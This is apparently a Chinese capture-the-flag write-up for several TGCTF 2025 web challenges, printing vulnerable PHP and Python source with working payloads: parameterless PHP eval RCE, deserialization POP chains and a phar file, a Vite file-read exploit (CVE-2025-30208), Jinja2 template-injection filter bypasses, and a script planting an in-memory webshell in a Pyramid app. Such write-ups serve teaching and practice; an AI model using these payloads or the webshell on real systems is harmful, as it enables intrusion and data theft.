AAA偷渡阴平
这个题是一个非预期的无参RCE
- <?php
- $tgctf2025=$_GET['tgctf2025'];
- if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
- //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
- eval($tgctf2025);
- }
- else{
- die('(╯‵□′)╯炸弹!•••*~●');
- }
- highlight_file(__FILE__);
复制代码 这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号实在是中文,也就是即是没有过滤。
先说下无参RCE的打法。
- http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());
复制代码
- http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));
复制代码 这里通过next获得Pragma这个参数,这个参数是我们可以控制的。
这样在外边在套上一层eval就可以了
什么文件上传

开题一个文件上传点,实验之后发无论上传什么内容都会报错,无法乐成上传。
爆破一下路径发现robots.txt

这里重点看一下class.php
看到源代码
- <?php
- highlight_file(__FILE__);
- error_reporting(0);
- function best64_decode($str)
- {
- return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
- }
- class yesterday {
- public $learn;
- public $study="study";
- public $try;
- public function __construct()
- {
- $this->learn = "learn<br>";
- }
- public function __destruct()
- {
- echo "You studied hard yesterday.<br>";
- return $this->study->hard();
- }
- }
- class today {
- public $doing;
- public $did;
- public $done;
- public function __construct(){
- $this->did = "What you did makes you outstanding.<br>";
- }
- public function __call($arg1, $arg2)
- {
- $this->done = "And what you've done has given you a choice.<br>";
- echo $this->done;
- if(md5(md5($this->doing))==666){
- return $this->doing();
- }
- else{
- return $this->doing->better;
- }
- }
- }
- class tommoraw {
- public $good;
- public $bad;
- public $soso;
- public function __invoke(){
- $this->good="You'll be good tommoraw!<br>";
- echo $this->good;
- }
- public function __get($arg1){
- $this->bad="You'll be bad tommoraw!<br>";
- }
- }
- class future{
- private $impossible="How can you get here?<br>";
- private $out;
- private $no;
- public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
- public function __set($arg1, $arg2) {
- if ($this->out->useful7) {
- echo "Seven is my lucky number<br>";
- system('whoami');
- }
- }
- public function __toString(){
- echo "This is your future.<br>";
- system($_POST["wow"]);
- return "win";
- }
- public function __destruct(){
- $this->no = "no";
- return $this->no;
- }
- }
- if (file_exists($_GET['filename'])){
- echo "Focus on the previous step!<br>";
- }
- else{
- $data=substr($_GET['filename'],0,-4);
- unserialize(best64_decode($data));
- }
- // You learn yesterday, you choose today, can you get to your future?
- ?>
复制代码 一个简单的pop链子,整体的利用是:
- yesterday -> __destruct
- today -> __call
- tommoraw -> toString 之后触发危险函数
复制代码 这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString
但是这里要留意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,以是我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。
- <?php
-
- function best64_encode($str)
- {
- return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
- }
-
- class future{
-
- }
-
- class today {
- public $doing;
- public function __construct() {
- $this->doing = new future();
- }
- }
-
- class yesterday {
- public $learn;
- public $study;
- public $try;
-
- public function __construct() {
- $this->study = new today();
- }
- }
-
-
- $a=new yesterday();
- echo best64_encode(serialize($a))."1234";
复制代码
前端GAME
简单玩一卑鄙戏,直接结束掉,发现提示要读取/tgflagggg下的flag
这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后思量怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。
发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜刮一下得到CVE-2025-30208
参考文章
根据文章当中的
- curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
复制代码 构造我们这个题的poc
- curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"
复制代码
火眼辩魑魅
这个题,似乎又是被我非掉了
还是找到了这里的robots.txt
这里每个php文件对应一个观察点,但是题目说只有一个洞是可行的,那么就挨个看一下
第一个文件上传,我其时做的时候,反正是没有任何权限,直接放弃这个点
这里直接给了源代码,并且直接eval思量利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。
- shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');
复制代码
之后找出题人聊了一下
发现黑白预期,于是继承看下其他的点
预期解是这里的ssti,就不复现了
这个是反序列化的pop链,末了Sink是php原生类,但是这里黑名单太多了,目测没法打。
直面天命
该说不说这个题属于有点套了
不懂是啥
源码当中发现/hint路由
这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz
提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数末了发现是filename,并且这里存在任意文件读取的问题。
然后实验读取源代码
- http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py
复制代码
- import os
- import string
- from flask import Flask, request, render_template_string, jsonify, send_from_directory
- from a.b.c.d.secret import secret_key
-
- app = Flask(__name__)
-
- black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
-
- def waf(name):
- for x in black_list:
- if x in name.lower():
- return True
- return Falsedef is_typable(char):
- # 定义可通过标准 QWERTY 键盘输入的字符集
- typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
- return char in typable_chars
-
- @app.route('/')
- def home():
- return send_from_directory('static', 'index.html')
-
- @app.route('/jingu', methods=['POST'])
- def greet():
- template1=""
- template2=""
- name = request.form.get('name')
- template = f'{name}'
- if waf(name):
- template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
- else:
- k=0
- for i in name:
- if is_typable(i):
- continue
- k=1
- break
- if k==1:
- if not (secret_key[:2] in name and secret_key[2:]):
- template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
- return render_template_string(template)
- template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
- template= template.replace("直面","{{").replace("天命","}}")
- template = template
- if "cat" in template:
- template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
- try:
- return template1+render_template_string(template)+render_template_string(template2)
- except Exception as e:
- error_message = f"500报错了,查询语句如下:<br>{template}"
- return error_message, 400
-
- @app.route('/hint', methods=['GET'])
- def hinter():
- template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
- return render_template_string(template)
-
- @app.route('/aazz', methods=['GET'])
- def finder():
- filename = request.args.get('filename', '')
- if filename == "":
- return send_from_directory('static', 'file.html')
-
- if not filename.replace('_', '').isalnum():
- content = jsonify({'error': '只允许字母和数字!'}), 400
- if os.path.isfile(filename):
- try:
- with open(filename, 'r') as file:
- content = file.read()
- return content
- except Exception as e:
- return jsonify({'error': str(e)}), 500
- else:
- return jsonify({'error': '路径不存在或者路径非法'}), 404
-
-
- if __name__ == '__main__':
- app.run(host='0.0.0.0', port=80)
复制代码
重点在这个路由,但是这里过滤掉了{{}},但是后边的处理是更换成了直面和天命,就是ssti的那些poc在这里把{{}}更换成直面天命就行,再次看下黑名单。
- black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
复制代码 这些地方都是可以通过拼接实现绕过的,拿出收藏的poc在这里改一下
- 直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命
复制代码 这里poc应该是很多的,但是这里有这样的更换,无法直接使用fenjing进行。
- 直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命
复制代码
熟悉的配方,熟悉的味道
- from pyramid.config import Configurator
- from pyramid.request import Request
- from pyramid.response import Response
- from pyramid.view import view_config
- from wsgiref.simple_server import make_server
- from pyramid.events import NewResponse
- import re
- from jinja2 import Environment, BaseLoader
- eval_globals = { #防止eval执行恶意代码
- '__builtins__': {}, # 禁用所有内置函数
- '__import__': None # 禁止动态导入
- }
- def checkExpr(expr_input):
- expr = re.split(r"[-+*/]", expr_input)
- print(exec(expr_input))
- if len(expr) != 2:
- return 0
- try:
- int(expr[0])
- int(expr[1])
- except:
- return 0
- return 1
- def home_view(request):
- expr_input = ""
- result = ""
- if request.method == 'POST':
- expr_input = request.POST['expr']
- if checkExpr(expr_input):
- try:
- result = eval(expr_input, eval_globals)
- except Exception as e:
- result = e
- else:
- result = "爬!"
- template_str = 【xxx】
- env = Environment(loader=BaseLoader())
- template = env.from_string(template_str)
- rendered = template.render(expr_input=expr_input, result=result)
- return Response(rendered)
- if __name__ == '__main__':
- with Configurator() as config:
- config.add_route('home_view', '/')
- config.add_view(home_view, route_name='home_view')
- app = config.make_wsgi_app()
- server = make_server('0.0.0.0', 9040, app)
- server.serve_forever()
复制代码 这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里
- def checkExpr(expr_input):
- expr = re.split(r"[-+*/]", expr_input)
- print(exec(expr_input))
- if len(expr) != 2:
- return 0
- try:
- int(expr[0])
- int(expr[1])
- except:
- return 0
- return 1
复制代码 首先根据四则运算符进行分割,然后直接进行exec,以是这里存在命令实行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。
参考文章
- import requests
- code='''
- def waff():
- def f(): yield g.gi_frame.f_back
- g = f() frame = next(g)
- b = frame.f_back.f_back.f_globals
- def hello(request): code = request.POST['code'] res=eval(code) return Response(res)
- config.add_route('shellb', '/shellb') config.add_view(hello, route_name='shellb') config.commit()
- waff()
- '''
-
- url=""
- #url="http://127.0.0.1:9040/"
- data={
- "expr":f"{code}+1"
- }
-
- r=requests.post(url=url,data=data)
复制代码 借助这个脚本写入内存马,之后访问一下直接rce
TG_wordpress
最幽默的一题,没去打,根据形貌找了下常见的CVE
什么文件上传?(复仇
对之前的非预期做了修复
- <?php
- highlight_file(__FILE__);
- error_reporting(0);
- function best64_decode($str)
- {
- return base64_encode(md5(base64_encode(md5($str))));
- }
- class yesterday {
- public $learn;
- public $study="study";
- public $try;
- public function __construct()
- {
- $this->learn = "learn<br>";
- }
- public function __destruct()
- {
- echo "You studied hard yesterday.<br>";
- return $this->study->hard();
- }
- }
- class today {
- public $doing;
- public $did;
- public $done;
- public function __construct(){
- $this->did = "What you did makes you outstanding.<br>";
- }
- public function __call($arg1, $arg2)
- {
- $this->done = "And what you've done has given you a choice.<br>";
- echo $this->done;
- if(md5(md5($this->doing))==666){
- return $this->doing();
- }
- else{
- return $this->doing->better;
- }
- }
- }
- class tommoraw {
- public $good;
- public $bad;
- public $soso;
- public function __invoke(){
- $this->good="You'll be good tommoraw!<br>";
- echo $this->good;
- }
- public function __get($arg1){
- $this->bad="You'll be bad tommoraw!<br>";
- }
- }
- class future{
- private $impossible="How can you get here?<br>";
- private $out;
- private $no;
- public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
- public function __set($arg1, $arg2) {
- if ($this->out->useful7) {
- echo "Seven is my lucky number<br>";
- system('whoami');
- }
- }
- public function __toString(){
- echo "This is your future.<br>";
- system($_POST["wow"]);
- return "win";
- }
- public function __destruct(){
- $this->no = "no";
- return $this->no;
- }
- }
- if (file_exists($_GET['filename'])){
- echo "Focus on the previous step!<br>";
- }
- else{
- $data=substr($_GET['filename'],0,-4);
- unserialize(best64($data));
- }
- // You learn yesterday, you choose today, can you get to your future?
- ?>
复制代码 这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,思量phar反序列化。
现在的问题是,如何上传文件呢。

根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg
- <?php
-
- function best64_encode($str)
- {
- return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
- }
-
- class future{
-
- }
-
- class today {
- public $doing;
- public function __construct() {
- $this->doing = new future();
- }
- }
-
- class yesterday {
- public $learn;
- public $study;
- public $try;
-
- public function __construct() {
- $this->study = new today();
- }
- }
-
-
- $a=new yesterday();
-
- $phar = new Phar("phar.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
- $phar->setMetadata($a); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- $phar->stopBuffering();
复制代码 轻微修改下之前的poc,天生一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。
AAA偷渡阴平(复仇)
- <?php
- $tgctf2025=$_GET['tgctf2025'];
- if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
- //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
- eval($tgctf2025);
- }
- else{
- die('(╯‵□′)╯炸弹!•••*~●');
- }
- highlight_file(__FILE__);
复制代码 这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到
- http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());
复制代码
天命复仇
这里把waf拿出来在当地搭建一下,然后丢到fenjing当中直接能跑出来
- import requests
- url="http://node1.tgctf.woooo.tech:31535/jingu"
- poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
- data={
- "name": poc
- }
- r=requests.post(url=url,data=data)
- print(r.text)
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |